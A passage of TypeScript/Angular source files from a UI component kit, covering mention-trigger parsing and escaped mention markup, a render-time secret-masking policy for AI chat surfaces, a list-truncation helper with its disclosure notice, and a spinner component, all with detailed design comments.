what it claims to be.\n */\n\nimport { svEscapeHtml } from '../security/html-sanitizer';\n\n/** A person, topic or command a mention can refer to. */\nexport interface SvMentionToken {\n  readonly id: string;\n  readonly label: string;\n  /** The character that opened it, e.g. `'@'`. */\n  readonly trigger: string;\n}\n\n/** An open trigger and the query typed after it. */\nexport interface SvTriggerMatch {\n  /** The trigger character that opened the panel. */\n  readonly trigger: string;\n  /** Text typed after the trigger. `''` immediately after it. */\n  readonly query: string;\n  /** Index of the trigger character in the scanned string. */\n  readonly at: number;\n}\n\nexport interface SvTriggerOptions {\n  /**\n   * Longest query worth searching for.\n   *\n   * ★★ A CAP, BECAUSE AN UNCLOSED TRIGGER OTHERWISE SEARCHES A PARAGRAPH. Type\n   * an `@` and then keep writing a sentence with no spaces after it — a URL, a\n   * path, a long identifier — and without this the panel stays open issuing a\n   * query per keystroke against text nobody meant as a search.\n   * @default 60\n   */\n  readonly maxQuery?: number;\n  /**\n   * Require the trigger not to sit inside a word.\n   *\n   * ★★★ ON BY DEFAULT, AND IT IS WHAT STOPS EVERY EMAIL ADDRESS OPENING THE\n   * PANEL. Typing `priya@example.com` has an `@` with no space after it, so a\n   * naive scan opens a people-search on `example.com` in the middle of an\n   * address the user is simply writing.\n   *\n   * ★★★ THE TEST IS \"NOT PRECEDED BY A LETTER OR DIGIT\", NOT \"PRECEDED BY\n   * WHITESPACE\" — and the difference is not pedantry. The first version of this\n   * demanded whitespace, which broke three existing fixtures the moment\n   * `sv-mention` was refactored onto it: `(@alice`, `—@alice` and a trigger\n   * typed straight after a full stop are all things people write and all things\n   * that should open the panel. Whitespace-only is a stricter rule than the\n   * intent, and the intent is \"not in the middle of a word\".\n   *\n   * ★★ Unicode-aware, so `José@example.com` is caught too. `\\w` is ASCII-only,\n   * which would have made the rule work for English names and quietly fail for\n   * everyone else's.\n   * @default true\n   */\n  readonly wordBoundary?: boolean;\n}\n\nconst DEFAULTS: Required<SvTriggerOptions> = { maxQuery: 60, wordBoundary: true };\n\n/**\n * Find the active trigger in the text before the caret.\n *\n * Returns `null` when no panel should be open, which is the common case and the\n * one worth being cheap.\n */\nexport function svScanTrigger(\n  before: string,\n  triggers: readonly string[],\n  options: SvTriggerOptions = {},\n): SvTriggerMatch | null {\n  const { maxQuery, wordBoundary } = { ...DEFAULTS, ...options };\n  if (before === '' || triggers.length === 0) return null;\n\n  // ★★ THE TRIGGER NEAREST THE CARET WINS. With several configured — `@` people,\n  //    `#` topics, `/` commands — `@alice #des|` must resolve against the `#`,\n  //    or typing a topic after a mention searches for people.\n  let at = -1;\n  let trigger = '';\n  for (const char of triggers) {\n    if (char === '') continue;\n    const i = before.lastIndexOf(char);\n    if (i > at) { at = i; trigger = char; }\n  }\n  if (at === -1) return null;\n\n  if (wordBoundary && at > 0 && /[\\p{L}\\p{N}_]/u.test(before[at - 1])) return null;\n\n  const query = before.slice(at + trigger.length);\n  // ★ A SPACE CLOSES IT. Without this the panel stays open for the rest of the\n  //   paragraph, because the trigger character is still somewhere behind.\n  if (/\\s/.test(query)) return null;\n  if (query.length > maxQuery) return null;\n\n  return { trigger, query, at };\n}\n\n/**\n * Attribute names carried by a mention token.\n *\n * Exported because both the writer and the reader need them to agree, and a\n * string literal repeated in two files is a rename waiting to go half-done.\n */\nexport const SV_MENTION_ATTRS = {\n  marker: 'data-sv-mention',\n  id: 'data-sv-mention-id',\n  label: 'data-sv-mention-label',\n  trigger: 'data-sv-mention-trigger',\n} as const;\n\n/**\n * Escape text for insertion into an attribute or element body.\n *\n * 🔺 THIS WAS A BYTE-IDENTICAL COPY OF `svEscapeHtml`, inside `core`, four\n * directories from the original — which is the duplication T2 exists to stop,\n * already happened, in the package that is supposed to be the single source.\n * It is now an alias, kept only so the call sites below keep reading as\n * `esc(...)`.\n *\n * ⚠️ It escapes `&<>\"` and NOT `'`. That is sufficient here and only here:\n * every attribute this module writes is double-quoted. Single-quote an\n * attribute anywhere and this stops being enough.\n */\nconst esc = svEscapeHtml;\n\n/**\n * The markup for one mention.\n *\n * ★★★ `contenteditable=\"false\"` MAKES IT ATOMIC TO THE CARET — arrow keys step\n * over it and backspace removes the whole thing — and the label is ALSO stored\n * as data, because that attribute is not a guarantee. See the file header: the\n * inside of such a node can still change, and when it does, the only way to know\n * is to compare what is rendered against what the token says it is.\n *\n * ★★ A trailing zero-width space is NOT used here, deliberately, though it is\n * the usual trick for \"somewhere to put the caret after the chip\". It is\n * invisible, it survives into the persisted value, it breaks string equality for\n * anyone comparing the document, and it arrives in exports and search indexes as\n * mojibake. The caret is placed after the node programmatically instead.\n */\nexport function svMentionHtml(token: SvMentionToken, className = ''): string {\n  const cls = className === '' ? '' : ` class=\"${esc(className)}\"`;\n  return (\n    `<span${cls} ${SV_MENTION_ATTRS.marker}=\"true\"` +\n    ` ${SV_MENTION_ATTRS.id}=\"${esc(token.id)}\"` +\n    ` ${SV_MENTION_ATTRS.label}=\"${esc(token.label)}\"` +\n    ` ${SV_MENTION_ATTRS.trigger}=\"${esc(token.trigger)}\"` +\n    ` contenteditable=\"false\">${esc(token.trigger)}${esc(token.label)}</span>`\n  );\n}\n\nexport type SvTokenIntegrity =\n  /** The rendered text still matches what the token claims to be. */\n  | 'intact'\n  /** It has been edited: the text and the stored label disagree. */\n  | 'edited'\n  /** Not a mention token at all. */\n  | 'not-a-token';\n\n/**\n * Does this element still say what it claims to say?\n *\n * ★★★ THE ONE CHECK THAT MAKES A MENTION TRUSTWORTHY. An `edited` token is not\n * a mention of anybody: it carries a user id and displays a name that is not\n * that user's, which is worse than having no mention at all, because everything\n * downstream — the notification, the permission check, the audit line — reads\n * the id and believes the label.\n */\nexport function svTokenIntegrity(el: Element): SvTokenIntegrity {\n  if (el.getAttribute(SV_MENTION_ATTRS.marker) !== 'true') return 'not-a-token';\n  const label = el.getAttribute(SV_MENTION_ATTRS.label);\n  const trigger = el.getAttribute(SV_MENTION_ATTRS.trigger) ?? '';\n  const id = el.getAttribute(SV_MENTION_ATTRS.id);\n  if (label === null || id === null) return 'not-a-token';\n  return el.textContent === `${trigger}${label}` ? 'intact' : 'edited';\n}\n\n/**\n * Every intact mention in a document, in document order.\n *\n * ★★ EDITED TOKENS ARE EXCLUDED RATHER THAN REPAIRED. Repairing means choosing\n * between two things the document says — the id and the text — and there is no\n * basis for that choice: the user may have been deleting the mention or fixing a\n * name. Reporting them separately lets the host decide, and `svMentionRepairs`\n * is what tells it there is a decision to make.\n */\nexport function svParseMentions(html: string): readonly SvMentionToken[] {\n  return readTokens(html).intact;\n}\n\n/**\n * A token whose rendered text no longer matches the id it carries.\n *\n * Named rather than inlined because it crosses a public boundary in two\n * components and a host cannot write a handler for an anonymous shape without\n * retyping it — and a retyped shape is one that stops matching.\n */\nexport interface SvMentionRepair {\n  /** The id the token still carries — the thing downstream will act on. */\n  readonly id: string;\n  /** What the token says it is. */\n  readonly label: string;\n  /** What it actually renders now. */\n  readonly text: string;\n}\n\n/** Tokens whose rendered text no longer matches the id they carry. */\nexport function svMentionRepairs(html: string): readonly SvMentionRepair[] {\n  return readTokens(html).edited;\n}\n\nfunction readTokens(html: string): {\n  intact: SvMentionToken[];\n  edited: SvMentionRepair[];\n} {\n  // Parsed inertly, for the same reason the paste sanitiser is: this may be\n  // reading a value that came from a document somebody else wrote.\n  const doc = new DOMParser().parseFromString(html, 'text/html');\n  const intact: SvMentionToken[] = [];\n  const edited: SvMentionRepair[] = [];\n  for (const el of Array.from(doc.querySelectorAll(`[${SV_MENTION_ATTRS.marker}=\"true\"]`))) {\n    const id = el.getAttribute(SV_MENTION_ATTRS.id);\n    const label = el.getAttribute(SV_MENTION_ATTRS.label);\n    const trigger = el.getAttribute(SV_MENTION_ATTRS.trigger) ?? '';\n    if (id === null || label === null) continue;\n    if (svTokenIntegrity(el) === 'intact') intact.push({ id, label, trigger });\n    else edited.push({ id, label, text: el.textContent ?? '' });\n  }\n  return { intact, edited };\n}\n\n/**\n * The document as plain text, with each mention rendered as its trigger + label.\n *\n * ★★ FROM THE STORED LABEL, NOT FROM THE ELEMENT'S TEXT. If the two disagree the\n * element's text is the thing that is wrong — the id is what the mention MEANS —\n * so a plain-text rendering that trusted the DOM would propagate the corruption\n * into the notification email.\n */\nexport function svMentionPlainText(html: string): string {\n  const doc = new DOMParser().parseFromString(html, 'text/html');\n  // ★★★ `textContent` INCLUDES THE SOURCE OF `<script>` AND `<style>`, which is\n  //     not text anybody wrote — it is code, and a plain-text rendering that\n  //     carries it puts a stylesheet into the notification email.\n  //\n  // ★★ THE SECOND TIME THIS EXACT MISTAKE HAS APPEARED IN THIS CODEBASE (the\n  //    rich editor's `svPlainTextFromHtml` had it too, and its own spec caught\n  //    it). `textContent` reads as \"just the words\" and is not; the lesson is\n  //    that any function turning a document into text needs this line, and the\n  //    reason it keeps getting missed is that the omission is invisible on every\n  //    document that happens not to contain a script.\n  for (const el of Array.from(doc.querySelectorAll('script,style,noscript,template,title'))) {\n    el.remove();\n  }\n  for (const el of Array.from(doc.querySelectorAll(`[${SV_MENTION_ATTRS.marker}=\"true\"]`))) {\n    const label = el.getAttribute(SV_MENTION_ATTRS.label);\n    const trigger = el.getAttribute(SV_MENTION_ATTRS.trigger) ?? '';\n    if (label !== null) el.replaceWith(doc.createTextNode(`${trigger}${label}`));\n  }\n  return doc.body.textContent ?? '';\n}\n\n/** `@Priya Sharma` */\nexport function svMentionLabel(token: SvMentionToken): string {\n  return `${token.trigger}${token.label}`;\n}\n","import {\n  InjectionToken,\n  inject,\n  makeEnvironmentProviders,\n  type EnvironmentProviders,\n} from '@angular/core';\nimport { svCompilePattern } from '../security/pattern';\nimport { svWarnOnce } from '../dev/warn-once';\n\n/**\n * ============================================================================\n *  `X-2` — one privacy and redaction contract for the AI pack\n * ============================================================================\n *\n * ★★★ EVERY COMPONENT IN THE PACK RENDERS SAFELY AND THE PORTFOLIO HAS NO\n *     POLICY, which is a different defect from an unsafe component and a harder\n *     one to see. Tool arguments, approval edits, reasoning content, voice\n *     transcripts, chat messages and retrieved chunks can all carry a key, a\n *     customer's address or a patient identifier — and a host that wants those\n *     masked had to configure eight components separately, in eight shapes, and\n *     keep them agreeing with each other for ever. The first one it forgets is\n *     the leak.\n *\n * ★★ MASKING IS A RENDER-TIME TRANSFORM AND NEVER TOUCHES THE DATA. Same rule\n *    as the scale ceiling: the host's array is not edited, the model is not\n *    rewritten, and a copy of the ORIGINAL is what a permitted export gets.\n *    A component that masked its own inputs would corrupt the thing it was\n *    handed, and the corruption would survive into whatever the host persisted\n *    next.\n *\n * ★★ THE PATTERNS ARE HOST-SUPPLIED SOURCES, COMPILED THROUGH\n *    `svCompilePattern`, because a mask pattern is exactly the untrusted regex\n *    that module exists for — and worse than the case it was written for: a\n *    catastrophic pattern that froze one field on one keystroke here runs over\n *    every message in a transcript on every render. A pattern that cannot be\n *    compiled safely is dropped with one dev warning naming it, and masking\n *    carries on with the rest; refusing the whole policy would turn one bad\n *    regex into no redaction at all, which is the failure mode that matters.\n */\n\n/** One thing to mask, and what to show instead. */\nexport interface SvAiMaskPattern {\n  /** Stable id, used in warnings and by hosts toggling patterns. */\n  readonly id: string;\n  /**\n   * The regular expression SOURCE — a string, not a `RegExp`.\n   *\n   * ★★ A `RegExp` handed over by a host is either stateful (the `g` flag keeps\n   *    `lastIndex`, so a policy object shared by two surfaces skips matches in\n   *    the second) or not global, in which case it can only ever mask the FIRST\n   *    secret in a message. Taking the source and compiling it here is what\n   *    makes both impossible.\n   */\n  readonly source: string;\n  /** What replaces a match. `'[REDACTED]'` when omitted. */\n  readonly label?: string;\n}\n\nexport interface SvAiPrivacyPolicy {\n  /**\n   * What to mask. Empty by default — see {@link SV_AI_COMMON_PATTERNS}.\n   *\n   * ★★★ NO PATTERNS BY DEFAULT, DELIBERATELY. A default mask set would rewrite\n   *     content in every existing surface the moment this shipped, and the\n   *     rewrite that matters is the wrong one: a code block containing `sk-` or\n   *     a sentence containing an `@` would come out mangled, in a component\n   *     whose job is to show the user what the model said. The patterns that\n   *     are right vary per tenant, which is the definition of a policy rather\n   *     than a default. `SV_AI_COMMON_PATTERNS` is one call away.\n   */\n  readonly patterns: readonly SvAiMaskPattern[];\n  /**\n   * May a viewer unmask what was masked?\n   *\n   * ★★★ FALSE BY DEFAULT, AND THIS IS THE ONE DEFAULT THAT IS NOT NEGOTIABLE.\n   *     A reveal control that exists unless a host turns it off is a leak\n   *     unless a host remembers — and the host that most needs masking is the\n   *     one least likely to audit for an affordance it never asked for. Role\n   *     gating lives with the host: it knows who is looking.\n   */\n  readonly reveal: boolean;\n  /**\n   * May a viewer copy or export content from these surfaces?\n   *\n   * ★ TRUE by default, because copy is a shipped feature of `sv-ai-chat` and\n   *   flipping it would silently remove a control people use. A host that\n   *   masks on screen and wants the export masked too sets this `false` and\n   *   offers its own export path — the component cannot know whether the\n   *   clipboard is going into a ticket or a support channel.\n   */\n  readonly copy: boolean;\n  /**\n   * May a surface include content in analytics or telemetry events?\n   *\n   * ★★★ FALSE by default. Content-bearing telemetry that is on unless someone\n   *     turns it off is the worst available default in this whole contract: it\n   *     exfiltrates continuously, to a third party, with no UI anywhere that\n   *     shows it happening.\n   */\n  readonly telemetry: boolean;\n}\n\n/** The policy a surface applies when the host has provided none. */\nexport const SV_AI_PRIVACY_DEFAULT: SvAiPrivacyPolicy = Object.freeze({\n  patterns: Object.freeze([]) as readonly SvAiMaskPattern[],\n  reveal: false,\n  copy: true,\n  telemetry: false,\n});\n\n/**\n * A conservative, opt-in mask set for the things that are secrets whatever the\n * tenant: provider keys, bearer tokens, JWTs, and private-key blocks.\n *\n * ★★ WHAT IS NOT IN HERE IS THE POINT. No e-mail pattern, no phone pattern, no\n *    credit-card pattern — those match legitimate content constantly (a chat\n *    about a customer, a tool argument that IS an address), and a mask set that\n *    eats the answer is the over-redaction failure `sv-guardrail-panel` exists\n *    to make visible. Add those per tenant, having decided they are worth it.\n */\nexport const SV_AI_COMMON_PATTERNS: readonly SvAiMaskPattern[] = Object.freeze([\n  { id: 'provider-key', source: '\\\\b(?:sk|pk|rk)-[A-Za-z0-9_-]{16,}', label: '[API KEY]' },\n  { id: 'bearer', source: '\\\\bBearer\\\\s+[A-Za-z0-9._~+/-]{12,}=*', label: 'Bearer [TOKEN]' },\n  { id: 'jwt', source: '\\\\bey[A-Za-z0-9_-]{8,}\\\\.[A-Za-z0-9_-]{8,}\\\\.[A-Za-z0-9_-]{8,}', label: '[JWT]' },\n  { id: 'aws-key', source: '\\\\b(?:AKIA|ASIA)[A-Z0-9]{16}', label: '[AWS KEY]' },\n  {\n    id: 'private-key',\n    source: '-----BEGIN [A-Z ]*PRIVATE KEY-----[\\\\s\\\\S]*?-----END [A-Z ]*PRIVATE KEY-----',\n    label: '[PRIVATE KEY]',\n  },\n  /**\n   * ★★ A URL IS A CREDENTIAL CARRIER THAT DOES NOT LOOK LIKE ONE. Connection\n   *    strings put the password in the userinfo (`postgres://app:hunter2@db`),\n   *    and a failing client echoes the URL it called into its error message.\n   *    Only the userinfo is replaced, so the host and path — what the reader\n   *    needs to diagnose the call — stay on screen. A bare short user name\n   *    (`ssh://git@host`) is left alone: it is not a secret, and masking it is\n   *    the over-redaction this set is written to avoid. A long one is a token\n   *    used as the user name (`https://ghp_…@github.com`) and is masked.\n   */\n  {\n    id: 'url-credentials',\n    source: '(?<=://)(?:[^\\\\s/?#@:]*:[^\\\\s/?#@]+|[^\\\\s/?#@:]{16,})(?=@)',\n    label: '[CREDENTIALS]',\n  },\n  /**\n   * ★ Query and fragment parameters that are secrets by name — `?token=`,\n   *   `&api_key=`, `#access_token=` (the OAuth implicit flow), and the signed-URL\n   *   parameters S3 presigning adds. The parameter NAME stays, so the reader can\n   *   still see which kind of URL it was.\n   */\n  {\n    id: 'url-secret-param',\n    source:\n      '(?<=[?&#;](?:access_token|refresh_token|id_token|token|api_key|apikey|api-key|key|' +\n      'secret|client_secret|password|passwd|pwd|auth|sig|signature|' +\n      'X-Amz-Signature|X-Amz-Credential|X-Amz-Security-Token)=)[^&#\\\\s]+',\n    label: '[REDACTED]',\n  },\n]);\n\nexport const SV_AI_PRIVACY = new InjectionToken<SvAiPrivacyPolicy>('SvAiPrivacyPolicy');\n\n/**\n * Configure masking, reveal, copy and telemetry for the whole AI pack, once.\n *\n * @example\n * ```ts\n * providers: [\n *   provideSvAiPrivacy({ patterns: SV_AI_COMMON_PATTERNS, copy: false }),\n * ]\n * ```\n */\nexport function provideSvAiPrivacy(policy: Partial<SvAiPrivacyPolicy> = {}): EnvironmentProviders {\n  return makeEnvironmentProviders([\n    { provide: SV_AI_PRIVACY, useValue: { ...SV_AI_PRIVACY_DEFAULT, ...policy } },\n  ]);\n}\n\n/**\n * The policy in force, for a component to read.\n *\n * ★ Optional injection with the default as the fallback, so every surface in\n *   the pack works in an app that has never heard of this contract — which is\n *   every app that upgrades into it.\n */\nexport function svAiPrivacy(): SvAiPrivacyPolicy {\n  return inject(SV_AI_PRIVACY, { optional: true }) ?? SV_AI_PRIVACY_DEFAULT;\n}\n\nexport interface SvAiMasked {\n  /** The text to render. */\n  readonly text: string;\n  /** How many matches were replaced. */\n  readonly count: number;\n  /** Ids of the patterns that matched, in the order they first did. */\n  readonly matched: readonly string[];\n}\n\ninterface Span {\n  readonly start: number;\n  readonly end: number;\n  readonly label: string;\n  readonly id: string;\n}\n\n/**\n * Mask every match in one string.\n *\n * ★★★ `policy.reveal` IS DELIBERATELY NOT READ HERE. `reveal` is a PERMISSION\n *     for a viewer to unmask one value on request, never an instruction to stop\n *     masking: a host that sets it `true` wants a reveal control, and still\n *     wants every surface masked until somebody uses it. A mask that honoured\n *     `reveal` would turn that flag into \"masking off\" for the whole pack. The\n *     surface owns the per-value reveal state (`sv-agent-approval`'s argument\n *     reveal, `sv-mcp-tool-registry`'s per-server reveal) and simply renders the\n *     original text for a value the viewer has revealed; it offers the control\n *     only when `reveal` is true and this function reported `count > 0`.\n *\n * ★★★ MATCHES ARE COLLECTED, MERGED AND THEN SPLICED ONCE — never replaced one\n *     pattern at a time. Two patterns matching overlapping ranges (a bearer\n *     header that contains a JWT) spliced in sequence shift every offset after\n *     the first replacement, and the visible result is a mangled\n *     `Bearer [RE[JWT]D]`: the same defect `svMergeSpans` documents for\n *     redaction in `sv-guardrail-panel`, arrived at from the other direction.\n *\n * ★★ THE LONGEST MATCH WINS AN OVERLAP, because the longer span is the more\n *    complete secret. A `Bearer eyJ…` masked as `[JWT]` leaves the word Bearer\n *    and a truncated token on screen; masked as the whole header it leaves\n *    nothing.\n */\nexport function svAiMask(text: string, policy: SvAiPrivacyPolicy): SvAiMasked {\n  if (!text || policy.patterns.length === 0) return { text, count: 0, matched: [] };\n\n  const spans: Span[] = [];\n  for (const pattern of policy.patterns) {\n    const compiled = svCompilePattern(pattern.source, { anchor: false });\n    if (!compiled.regexp) {\n      svWarnOnce(\n        `sv-ai-privacy/pattern/${pattern.id}`,\n        `sv-ai privacy: mask pattern \"${pattern.id}\" was dropped — ${compiled.reason} ` +\n          'The other patterns are still applied; one bad expression must not turn ' +\n          'redaction off altogether.',\n      );\n      continue;\n    }\n    const rx = new RegExp(compiled.regexp.source, 'g');\n    for (const match of text.matchAll(rx)) {\n      if (match.index === undefined || match[0].length === 0) continue;\n      spans.push({\n        start: match.index,\n        end: match.index + match[0].length,\n        label: pattern.label ?? '[REDACTED]',\n        id: pattern.id,\n      });\n    }\n  }\n\n  if (spans.length === 0) return { text, count: 0, matched: [] };\n\n  // Longest first at a given start, so the more complete secret wins an overlap.\n  spans.sort((a, b) => a.start - b.start || b.end - a.end);\n\n  const kept: Span[] = [];\n  for (const span of spans) {\n    const last = kept[kept.length - 1];\n    if (last && span.start < last.end) continue;   // inside a span already kept\n    kept.push(span);\n  }\n\n  let out = '';\n  let cursor = 0;\n  const matched: string[] = [];\n  for (const span of kept) {\n    out += text.slice(cursor, span.start) + span.label;\n    cursor = span.end;\n    if (!matched.includes(span.id)) matched.push(span.id);\n  }\n  out += text.slice(cursor);\n\n  return { text: out, count: kept.length, matched };\n}\n","/**\n * ============================================================================\n *  `X-4` — one scale contract for every list-shaped surface\n * ============================================================================\n *\n * ★★★ A DEGRADED VIEW MUST NEVER BE SILENTLY DEGRADED, and that is the whole\n *     contract. A transcript, a registry, a task queue, an event feed and a\n *     case table all have the same failure: the host hands over five thousand\n *     rows, the component renders every one of them, and either the page dies\n *     or somebody quietly adds a `slice(0, 100)` — after which the surface is\n *     showing a hundred rows and saying it is showing everything. The second\n *     outcome is worse than the first, because a page that freezes is at least\n *     honest about being in trouble.\n *\n * ★★ THE CEILING IS PART OF THE COMPONENT'S CONTRACT, NOT AN IMPLEMENTATION\n *    DETAIL. `sv-artifact-panel` and `sv-ai-writing-assistant` already had this\n *    right — past a line or token cap they degrade to counts and MARK the\n *    result `approximate` — so this generalises their pattern rather than\n *    inventing one, which is why the wording here echoes theirs: say what is\n *    missing and why, not merely \"100 of 5,000\".\n *\n * ★ WHAT THIS IS NOT. It is not virtualization. A window plus an honest label\n *   is what a component can guarantee in every host, on the server, and inside\n *   an `OnPush` change detector; a virtual scroller is a choice a host makes\n *   about its own layout. The ceiling is the floor of correct behaviour, and it\n *   leaves the door open.\n */\n\n/** Which end of an over-long list survives the window. */\nexport type SvScaleKeep =\n  /** The host's order, from the top: registries, catalogues, case tables. */\n  | 'first'\n  /**\n   * The newest rows: transcripts, feeds, logs.\n   *\n   * ★★★ TRUNCATING A TRANSCRIPT FROM THE TOP IS THE ONLY CORRECT DIRECTION,\n   *     and `slice(0, n)` does the opposite. A conversation cut at its first\n   *     hundred messages hides the part the user is having right now, and the\n   *     reply they are reading is the one that vanished.\n   */\n  | 'last';\n\nexport interface SvScaleWindow<T> {\n  /** The rows to render. */\n  readonly items: readonly T[];\n  /**\n   * How many rows the HOST supplied.\n   *\n   * ★★ The total is a fact about the data, never about the window. Every count\n   *    a surface shows beside a truncated list — \"1,240 tasks\" — has to come\n   *    from here, or the page reports the size of its own truncation as the\n   *    size of the queue.\n   */\n  readonly total: number;\n  /** `items.length`. */\n  readonly shown: number;\n  /** How many rows are not on screen. `0` when nothing was dropped. */\n  readonly hidden: number;\n  /** The ceiling in force, or `0` when there is none. */\n  readonly ceiling: number;\n  /** True when rows were dropped — the flag a surface must render. */\n  readonly truncated: boolean;\n  /** Which end survived. */\n  readonly keep: SvScaleKeep;\n}\n\n/**\n * Window an over-long list, and say so.\n *\n * `ceiling` of `0` or less means no ceiling — the kit's convention for \"never\"\n * on every other threshold, and the opt-out a host with a virtual scroller of\n * its own needs.\n *\n * ★ A non-integer ceiling is floored rather than refused: 100.5 rows is not a\n *   thing, and a host computing a ceiling from a viewport height will produce\n *   fractions.\n *\n * @example\n * ```ts\n * readonly window = computed(() => svScaleWindow(this.messages(), this.maxMessages(), 'last'));\n * // template: @for (m of window().items; …) and <sv-scale-notice [window]=\"window()\" noun=\"message\" />\n * ```\n */\nexport function svScaleWindow<T>(\n  items: readonly T[] | null | undefined,\n  ceiling: number,\n  keep: SvScaleKeep = 'first',\n): SvScaleWindow<T> {\n  const all = items ?? [];\n  const total = all.length;\n  const cap =\n    Number.isFinite(ceiling) && ceiling > 0 ? Math.floor(ceiling) : 0;\n\n  if (cap === 0 || total <= cap) {\n    return { items: all, total, shown: total, hidden: 0, ceiling: cap, truncated: false, keep };\n  }\n\n  const windowed = keep === 'last' ? all.slice(total - cap) : all.slice(0, cap);\n  return {\n    items: windowed,\n    total,\n    shown: windowed.length,\n    hidden: total - windowed.length,\n    ceiling: cap,\n    truncated: true,\n    keep,\n  };\n}\n\n/**\n * The sentence a truncated surface shows, or `null` when nothing was dropped.\n *\n * ★★ IT NAMES THE MISSING ROWS AND WHICH END THEY WERE AT. \"Showing 100 of\n *    5,000\" leaves the reader to work out whether they are looking at the\n *    beginning or the end of their own data, and in a transcript or a feed that\n *    is the only question that matters.\n *\n * @param noun singular noun for a row — `message`, `task`, `tool`, `event`.\n */\nexport function svScaleLabel<T>(window: SvScaleWindow<T>, noun = 'row'): string | null {\n  if (!window.truncated) return null;\n\n  const n = (value: number): string => value.toLocaleString('en-US');\n  const plural = window.hidden === 1 ? noun : `${noun}s`;\n  // ★ `older` for a transcript or a feed, where the window kept the newest and\n  //   the dropped rows are behind the reader; `further` for a list in the\n  //   host's own order, where they are simply beyond the end of the window.\n  const which = window.keep === 'last' ? 'older' : 'further';\n\n  return (\n    `${n(window.hidden)} ${which} ${plural} of ${n(window.total)} are not shown — ` +\n    `this view holds ${n(window.ceiling)} at a time. Filter, search or page to reach them.`\n  );\n}\n","import { ChangeDetectionStrategy, Component, computed, input } from '@angular/core';\nimport { svScaleLabel, type SvScaleWindow } from '../scale-ceiling';\n\n/**\n * ScaleNotice — the row that says a list is not all of the list (`X-4`).\n *\n * ★★★ IT EXISTS SO THE WORDING CANNOT DRIFT. Six surfaces need this sentence,\n *     and six hand-written versions is how one of them ends up saying \"showing\n *     100 of 5,000\" while another says nothing at all — and the one that says\n *     nothing is the defect. One component, one sentence, one place to fix it.\n *\n * ★★ IT RENDERS NOTHING WHEN THE WINDOW IS COMPLETE. A surface can bind it\n *    unconditionally, which is the point: a notice a host has to remember to\n *    show is a notice that will be missing on the screen where it matters.\n *\n * ★ NOT a live region. The list did not change under the reader — it was never\n *   complete — so this is a statement about what they are looking at, read in\n *   place, and an announcement would interrupt them to say the page is behaving\n *   as documented. It IS in the reading order and reachable, which is what the\n *   `sr-only` alternatives in this kit's charts are not allowed to be.\n *\n * @example\n * ```html\n * <sv-scale-notice [window]=\"visible()\" noun=\"message\" />\n * ```\n */\n@Component({\n  selector: 'sv-scale-notice',\n  standalone: true,\n  changeDetection: ChangeDetectionStrategy.OnPush,\n  template: `\n    @if (message(); as text) {\n      <p\n        data-sv-state=\"truncated\"\n        [attr.data-sv-hidden-count]=\"window().hidden\"\n        [class]=\"\n          'flex items-start gap-1.5 border-t border-gray-200 px-4 py-2 text-[11px] leading-relaxed ' +\n          'text-gray-600 dark:border-gray-800 dark:text-gray-400 ' + customClass()\n        \"\n      >{{ text }}</p>\n    }\n  `,\n})\nexport class SvScaleNoticeComponent {\n  /** The window this surface is rendering. */\n  readonly window = input.required<SvScaleWindow<unknown>>();\n\n  /** Singular noun for a row — `message`, `task`, `tool`, `event`. @default 'row' */\n  readonly noun = input<string>('row');\n\n  /**\n   * Replaces the generated sentence outright, for wording or another language.\n   * `''` renders nothing even when the window IS truncated — for a surface\n   * whose own layout already says so.\n   * @default null\n   */\n  readonly label = input<string | null>(null);\n\n  /** Extra classes on the notice. @default '' */\n  readonly customClass = input<string>('');\n\n  /** The sentence, or `null` when there is nothing to disclose. */\n  protected readonly message = computed<string | null>(() => {\n    const custom = this.label();\n    if (custom !== null) return custom.trim() === '' ? null : custom;\n    return svScaleLabel(this.window(), this.noun());\n  });\n}\n","import { ChangeDetectionStrategy, Component, computed, input } from '@angular/core';\n\n/**\n * The kit's one spinning-arc indicator.\n *\n * ★ WHY THIS EXISTS\n *\n * The same twelve lines of SVG — a faint ring plus a quarter-arc wedge, spun by\n * `animate-spin` — were hand-copied into **21 places** across 19 packages and 2\n * app components. They had drifted, in every way a copy can:\n *\n *   • four spellings of one curve (`5.373` vs `5.4`, `018-8` vs `0 0 1 8-8`,\n *     `z` vs `Z`) — the same shape, four times, none of them wrong\n *   • three opacity pairs: 25/75 (×13), 25/90 (×4), 20/90 (×2)\n *   • **six copies with no `aria-hidden` and no label at all** — silent to a\n *     screen reader in a way nobody chose\n *   • and the two data-table copies were not this shape at all: a stroked\n *     quarter-circle with no ring behind it\n *\n * None of that drift is visible in review, because no reviewer sees two copies\n * at once. It is only visible from up here.\n *\n * ★ It lives in `@styloviz/core`, not `@styloviz/overlays`, for two reasons.\n * `<sv-spinner>` in overlays draws a **border ring** — `border`/`dots`/`pulse`/\n * `bars`, no arc — so routing these through it would have restyled every\n * spinner in the kit. And core is already a dependency of 15 of the 17 affected\n * packages, where overlays is a dependency of none; core already exports\n * `SvSkeletonShellComponent` and `SvFieldErrorComponent`, so a shared indicator\n * is at home here.\n *\n * ★ ACCESSIBILITY: decorative by default. A spinner beside its own visible\n * \"Loading…\" text must not be announced twice, so with no `label` this renders\n * `aria-hidden=\"true\"`. Pass `label` only when the spinner is the *only* thing\n * conveying that something is happening — then it becomes `role=\"img\"` with an\n * accessible name.\n *\n * @example Static size and colour\n * ```html\n * <sv-spinner-arc cssClass=\"h-7 w-7 text-primary-500\" />\n * ```\n *\n * @example Driven by a computed size, and the only loading affordance present\n * ```html\n * <sv-spinner-arc [cssClass]=\"iconSize()\" label=\"Loading suggestions\" />\n * ```\n */\n@Component({\n  selector: 'sv-spinner-arc',\n  standalone: true,\n  changeDetection: ChangeDetectionStrategy.OnPush,\n  template: `\n    <svg\n      [class]=\"svgClass()\"\n      viewBox=\"0 0 24 24\"\n      fill=\"none\"\n      [attr.role]=\"label() ? 'img' : null\"\n      [attr.aria-label]=\"label() || null\"\n      [attr.aria-hidden]=\"label() ? null : 'true'\"\n    >\n      <circle class=\"opacity-25\" cx=\"12\" cy=\"12\" r=\"10\" stroke=\"currentColor\" stroke-width=\"4\" />\n      <path class=\"opacity-75\" fill=\"currentColor\" d=\"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z\" />\n    </svg>\n  `,\n})\nexport class SvSpinnerArcComponent {\n  /**\n   * Classes for the `<svg>` itself — size and colour. `animate-spin` is always\n   * applied and must not be passed here.\n   *\n   * Named `cssClass` rather than `class` to match `sv-loader-icon`, the kit's\n   * existing precedent for the same job.\n   */\n  readonly cssClass = input('');\n\n  /**\n   * An accessible name. Leave empty (the default) whenever the surrounding UI\n   * already says that something is loading — see the note above.\n   